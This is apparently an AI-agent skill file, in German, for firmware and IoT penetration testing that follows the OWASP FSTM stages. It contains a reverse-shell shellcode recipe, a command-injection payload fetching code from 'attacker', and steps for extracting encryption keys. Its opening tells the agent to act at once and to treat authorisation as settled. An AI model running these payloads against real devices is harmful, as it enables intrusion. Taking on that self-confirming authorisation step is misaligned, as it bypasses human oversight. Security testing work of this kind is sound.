firmware-pentest

Firmware / IoT Pentest (Firmware Pentest)

AKTION ERFORDERLICH (Sofort nach dem Lesen ausführen)

1. JETZT: Lies ../field-journal/precedent-pentest.md – Bestätige, dass dieser Skill für autorisierte Standardoperationen eingesetzt wird.
2. JETZT: Prüfe, ob die aktuelle Aufgabe in den Anwendungsbereich dieses Skills fällt.
3. NÄCHSTER: Lies ../tool-index.md und überprüfe die Verfügbarkeit und tatsächlichen Pfade der Tools.
4. NÄCHSTER: Rufe bei fehlenden Tools das Bootstrap auf – keine Pfade raten.
5. AKTION: Beginne mit Schritt 1 des Workflows – bleib nicht im Bestätigungsstatus hängen.

Anwendungsbereich

Folgende Aufgaben fallen in diesen Skill:

1. Erhalten einer Firmware-Datei (.bin / .img / .trx / .chk / OTA Zip) – vollständige RCE-Kette von null auf.
2. Audit von Routern / Kameras / IoT-Geräten – Batch-Suche nach bekannten CVEs und unveröffentlichten Schwachstellen.
3. Verschlüsselte/gepackte Firmware – Suche nach Bootloader-Entschlüsselungsroutinen oder Hardware-Dumps.
4. Ausführung ohne Hardware-Zugriff (QEMU Vollsystem-Emulation / Firmadyne / FAT).
5. Fuzzing von emulierten Diensten (AFL++ QEMU-Modus / Boofuzz).
6. Hardware-Schnittstellen (UART / JTAG / SPI Flash Dump).

Abgrenzung zu anderen Skills

Szenario	Verwendung
Firmware von null, vollständige FSTM-Kette	Dieser Skill
Nur statisches Reverse einer einzelnen ELF/so	reverse-engineering/, ida-reverse/, radare2/
Web/RCE-Exploitation nach der Emulation	pentest-tools/, attack-chain/
Hardware-Schnittstellen (UART/JTAG/SPI) praktisch	Stage 2 dieses Skills + patterns-hardware.md
APK / Android-Firmware (inkl. boot.img)	apk-reverse/ (boot.img zuerst extrahieren)
Symbol-Migration zwischen Firmware-Versionen	binary-diff/

Kernprinzipien

Firmware .bin
   │
   ├─ Stage 1-3: Informationssammlung / Beschaffung / Statische Analyse (ohne Entpacken)
   │
   ├─ Stage 4: Dateisystem extrahieren  ← binwalk v3 / unblob / jefferson / ubi_reader
   │     │
   │     └─ Fehler → Bootloader-Entschlüsselungsroutine / UART-Dump / SPI Flash Hardware-Lesen suchen
   │
   ├─ Stage 5: Statische Dateisystem-Analyse  ← EMBA automatisiert + manuelles grep
   │
   ├─ Stage 6: Emulation  ← Firmadyne / FAT / qemu-user-static + chroot
   │
   ├─ Stage 7-8: Dynamische / Laufzeit-Analyse  ← gdb-multiarch, IDA Remote Debug, Ghidra
   │
   └─ Stage 9: Binäre Exploitation  ← AFL++ Fuzzing / Manuelles PoC / ARM / MIPS Payload

Wichtige Entscheidungen:

• Fehlgeschlagene Extraktion ≠ verschlüsselte Firmware; zuerst binwalk v2, binwalk v3, unblob, jefferson, ubi_reader vollständig ausführen.
• EMBA erzeugt mit einem Befehl einen HTML-Bericht, der 80 % der Arbeit spart – die restlichen 20 % sind die eigentliche Schwachstellensuche.
• Wenn die Emulation nicht startet, zuerst fehlendes NVRAM, falscher Netzwerkadaptername oder fehlende /dev/-Nodes vermuten.
• ARM / MIPS Payloads müssen nach Endianness unterschieden werden (mipsel vs. mipseb), nicht verwechseln.

OWASP FSTM Neun-Phasen-Workflow

Stage 1 – Informationssammlung (Information Gathering)

Sammle Modell, Chip, SDK, öffentlich bekannte CVEs.

# FCC-ID-Abfrage (Geräte für den US-Markt)
curl -s "https://fccid.io/?q=$FCC_ID"

# Referenzpunkte für Chip-Identifikation
echo "Realtek RTL8197 / Broadcom BCM / MediaTek MT76 / Qualcomm IPQ"

Ausgabe: Chip-Modell, SDK-Quelle (SDK bestimmt, ob binwalk auf Anhieb funktioniert).

Stage 2 – Firmware beschaffen (Obtaining Firmware)

Vier Wege: Herunterladen von der Website, OTA-Mitschnitt, UART-Shell-Dump, SPI Flash physikalisch lesen.

# OTA-Mitschnitt & Batch-Download
mitmdump -s save_response.py

# UART-Zugriff (USB-TTL, typische Baudraten: 57600 / 115200)
picocom -b 115200 /dev/ttyUSB0

# SPI Flash mit CH341A + flashrom lesen
flashrom -p ch341a_spi -r dump.bin

Stage 3 – Firmware analysieren (Analyzing Firmware)

Vor dem Entpacken: Header, Entropie, Strings, erkennbare Signaturen prüfen.

binwalk firmware.bin              # Magic-Scan
binwalk -E firmware.bin           # Entropie-Diagramm, hohe Entropie = komprimiert/verschlüsselt
strings -n 8 firmware.bin | less  # Banner / Kernel-Version / Pfade
file firmware.bin
hexdump -C firmware.bin | head -64

Stage 4 – Dateisystem extrahieren (Extracting Filesystem)

Details in references/extraction-methodology.md.

binwalk -eM firmware.bin           # Rekursiv extrahieren
unblob -d out/ firmware.bin        # Formate, die binwalk nicht schafft
jefferson rootfs.jffs2 -d rootfs/  # JFFS2
ubireader_extract_files rootfs.ubi # UBI

Stage 5 – Statische Dateisystem-Analyse (Filesystem Analysis)

EMBA automatischer Scan, Details in references/emba-automated-analysis.md.

sudo emba -l ./logs -f ./firmware.bin -p ./scan-profiles/default-scan.emba

Manuelle Nacharbeit:

grep -rE "(password|passwd|admin|secret|api_key|token)=" squashfs-root/
find squashfs-root/ -name "*.conf" -o -name "*.ini" -o -name "shadow"
checksec --file=squashfs-root/usr/sbin/httpd

Stage 6 – Emulation (Emulating Firmware)

Details in references/emulation-and-fuzz.md.

# User-Mode: Einzelnes Binary ausführen
qemu-mipsel-static -L squashfs-root/ squashfs-root/usr/sbin/httpd

# Vollsystem: FAT (Firmadyne Wrapper)
sudo fat.py firmware.bin

Stage 7 – Dynamische Analyse (Dynamic Analysis)

Nach dem Start der Emulation: Debugger anhängen, Traffic mitschneiden, Fuzzing ausführen.

# gdb Remote Debug auf MIPS
qemu-mipsel-static -g 1234 ./vuln_binary
gdb-multiarch ./vuln_binary -ex "target remote :1234"

# Burp + Router Web-UI
echo "Setze die von Firmadyne emulierte IP als Burp Upstream Proxy-Ziel."

Stage 8 – Laufzeitanalyse (Runtime Analysis)

Auf echter Hardware: Debugger anhängen; in der Emulation: Coverage-gesteuertes Fuzzing.

# AFL++ QEMU-Modus auf ARM / MIPS Binary fuzzen
AFL_PRELOAD=./libdesock.so afl-fuzz -Q -i in/ -o out/ -- ./httpd @@

Stage 9 – Binäre Exploitation (Exploitation)

PoC schreiben, Payload generieren, Root-Shell ausliefern.

# pwntools: MIPS Reverse Shell generieren
python3 -c "
from pwn import *
context.arch = 'mips'
context.endian = 'little'
print(shellcraft.connect('192.168.1.100', 4444) + shellcraft.dupsh())
" | as -EL -mips32 -o sc.o - && objcopy -O binary sc.o sc.bin

# ROP-Gadgets
ropper --file squashfs-root/usr/sbin/httpd --search "system"

Typische Szenarien

Szenario 1: Komplette Kette bei gewöhnlichem Router (TP-Link / Xiaomi Router / OpenWrt-Derivate)

Firmware: router_v1_2_3.bin (unverschlüsseltes SquashFS)
Ziel: Unautorisierte RCE in der Web-Oberfläche finden und reproduzieren.

Schritt 1: Informationssammlung
  – FCC-ID Rückwärtssuche → MT7621 + MT7615 + 16MB Flash
  – Öffentlich bekannt: CVE-2023-xxxxx (Schwachstelle im CHK-Header)

Schritt 2: Firmware beschaffen
  – .bin von der Website herunterladen, SHA256 mit bekannter Probe vergleichen

Schritt 3: Analyse
  – binwalk → uImage + squashfs-xz gefunden
  – Entropie-Diagramm → SquashFS-Bereich Entropie ~0,95 (normale Kompression)

Schritt 4: Extraktion
  – binwalk -eM router_v1_2_3.bin
  – squashfs-root/ vollständiges Root-Dateisystem erhalten

Schritt 5: EMBA-Scan
  – Bericht gefundene Hochrisiken: lighttpd 1.4.45 (CVE-2018-19052) + busybox 1.27.2 mit mehreren CVEs
  – Eigenes Binary: /usr/sbin/cgibin enthält system() mit direkt verketteten Strings

Schritt 6: Emulation
  – sudo fat.py router_v1_2_3.bin
  – Emulierte IP: 192.168.0.1, Web-Oberfläche erreichbar

Schritt 7-8: Dynamische Analyse
  – Burp mitschnitt der /cgi-bin/luci-Interfaces
  – Parameter hostname wird direkt in system() übernommen

Schritt 9: Exploitation
  – Konstruktion: hostname=`;wget http://attacker/x;sh x;`
  – In der Emulation erfolgreiche Reverse Shell
  – Auf echter Hardware wiederholt und bestätigt → an SRC gemeldet

Szenario 2: Verschlüsselte Firmware (Bootloader-Entschlüsselungsroutine suchen)

Firmware: encrypted_fw.bin (binwalk zeigt nichts + Entropie ~0,99)

Schritt 1: Prüfen, ob wirklich verschlüsselt
  – Entropie durchgehend ~0,99 und keine Magic Bytes → wahrscheinlich verschlüsselt oder reine Kompression
  – Header: hexdump der ersten 256 Bytes → nach Vendor-Header suchen

Schritt 2: Bootloader holen
  – UART: Während des Bootvorgangs Taste drücken, um in U-Boot zu gelangen
  – md.b 0x80000000 0x1000   # Speicher lesen
  – Oder SPI Flash physikalisch komplett auslesen → enthält U-Boot-Bereich

Schritt 3: U-Boot nach Entschlüsselungsroutine reverse-engineeren
  – Mit reverse-engineering-Skill (IDA / Ghidra)
  – Entry: board_init_r → vor do_bootm nach image_decrypt suchen
  – Meistens AES-128-CBC, Schlüssel hart im .rodata eingebaut

Schritt 4: Offline entschlüsseln
  openssl enc -d -aes-128-cbc \
    -K $(cat key.hex) \
    -iv  $(cat iv.hex) \
    -in encrypted_fw.bin \
    -out decrypted.bin

Schritt 5: Zurück zu Stage 4 – Standardprozess wiederholen
  – binwalk decrypted.bin → squashfs sichtbar
  – Weiter wie in Szenario 1

Notfallplan
  – Bootloader ebenfalls verschlüsselt → SoC-Dokumentation der ersten Stufe suchen
  – SoC mit Secure Boot → Öffentliche Fault-Injection-/Glitch-Quellen recherchieren

Hinweise

• Endianness: MIPS-Router sind meist mipsel (Little Endian, MT-Serie) oder mipseb (Big Endian, Broadcom-Serie); QEMU-Binaries nicht verwechseln.
• NVRAM: Wenn httpd nach dem Emulieren sofort abstürzt → 90 % Wahrscheinlichkeit fehlender nvram_get-Wert; Firmadyne hat libnvram-Hook, FAT bringt ihn standardmäßig mit.
• EMBA ist kein Allheilmittel: Nicht allen gefundenen CVEs blind vertrauen; Versionszeichenkette und tatsächliche Exploit-Bedingungen überprüfen.
• AFL++ QEMU-Modus ist langsam: Falls Quellcode vorhanden, mit afl-clang-lto neu kompilieren (5-10× schneller).
• Vor dem physischen Eingriff dumpen: Vor einem Ziegelstein unbedingt vollständigen Flash-Dump erstellen (flashrom / ch341a / minipro).
• Rechtliche Grenzen: Nur eigene Geräte, SRC-Autorisierungen, CTF oder öffentliche Zielsysteme bearbeiten. Für Unternehmensgeräte ist eine schriftliche Genehmigung erforderlich.
• Field-Journal-Rückschreibung: Nach jeder Firmware Chip-Modell, SDK, Erfolg von binwalk und Emulation notieren; beim nächsten Gerät derselben Serie direkt wiederverwenden.

---

On-Demand Bootstrap

Werkzeugliste

Werkzeug	Zweck	Automatische Installation
binwalk v3	Hauptextraktion (Rust-Neuentwicklung)	✓
binwalk v2	Kompatibilität mit alten Plugins	✓
unblob	Fallback-Extraktion	✓
jefferson	JFFS2-Extraktion	✓
ubi_reader	UBI / UBIFS-Extraktion	✓
EMBA	Automatisiertes Analyse-Framework	✓
Firmadyne	Vollsystem-Emulation	✓
FAT (Firmware Analysis Toolkit)	Firmadyne-Wrapper	✓
qemu-user-static	User-Mode-Emulation	✓
qemu-system-*	Vollsystem-Emulation	✓
AFL++	Fuzzing	✓
pwntools	Exploit-Skript-Erstellung	✓
flashrom	SPI Flash Lesen/Schreiben	✓
picocom	UART-Seriell	✓

Installationsbefehle

# Debian / Ubuntu – alle auf einmal
sudo apt update && sudo apt install -y \
  binwalk python3-pip qemu-user-static qemu-system-mips qemu-system-arm \
  gdb-multiarch picocom flashrom build-essential libssl-dev

# binwalk v3 (Rust-Version)
cargo install binwalk

# Python-basierte Tools
pip3 install --user unblob jefferson ubi_reader pwntools

# EMBA
git clone https://github.com/e-m-b-a/emba.git ~/tools/emba
cd ~/tools/emba && sudo ./installer.sh -d

# Firmadyne
git clone --recursive https://github.com/firmadyne/firmadyne.git ~/tools/firmadyne
cd ~/tools/firmadyne && sudo ./download.sh

# FAT
git clone https://github.com/attify/firmware-analysis-toolkit.git ~/tools/fat

# AFL++
git clone https://github.com/AFLplusplus/AFLplusplus ~/tools/aflpp
cd ~/tools/aflpp && make distrib && sudo make install

Windows-Benutzer

Die Firmware-Pentest-Kette ist stark auf Linux-Tools angewiesen. Empfehlung:

• WSL2 Ubuntu 22.04 (für die meisten Szenarien ausreichend)
• Oder eigenständige Kali-/Ubuntu-VM
• EMBA benötigt Linux, Firmadyne / FAT ebenfalls.

---

Routing-Kontext

Eingang: skills/SKILL.md (Hauptsteuerung), routing.md Auslöser: Aufgaben mit Firmware-Dateien, IoT-Geräten, Embedded-Schwachstellensuche, Router-Audits Ausgang:

• Tiefgehendes statisches Reverse eines einzelnen Binaries → reverse-engineering/, ida-reverse/, radare2/
• Web-RCE / Post-Exploitation nach Emulation → pentest-tools/, attack-chain/
• Symbol-Migration zwischen Firmware-Versionen → binary-diff/
• Hardware-Schnittstellen-Praxis → patterns-hardware.md
• APK / boot.img-Verarbeitung → apk-reverse/

Verwandte Skills: pentest-tools/ (Web-Exploitation-Phase), attack-chain/ (übergreifende Angriffskettenplanung)

Referenzen:

• references/extraction-methodology.md – Extraktionsdetails und Fallbacks
• references/emba-automated-analysis.md – EMBA-Gesamtablauf
• references/emulation-and-fuzz.md – Emulation + Fuzzing in der Praxis

---

Aufgabenabschluss-Checkliste (MUSS vor der Bestätigung bestanden werden)

• Habe ich jeden Schritt des Workflows ausgeführt (und nicht nur gelesen)?
• Habe ich die tatsächlichen Werkzeugpfade aus tool-index verwendet?
• Habe ich reproduzierbare Beweise erzeugt (Befehle / Skripte / Screenshots / Berichte)?
• Habe ich die in den RULES geforderte Checkliste ausgefüllt und zurückgeschrieben?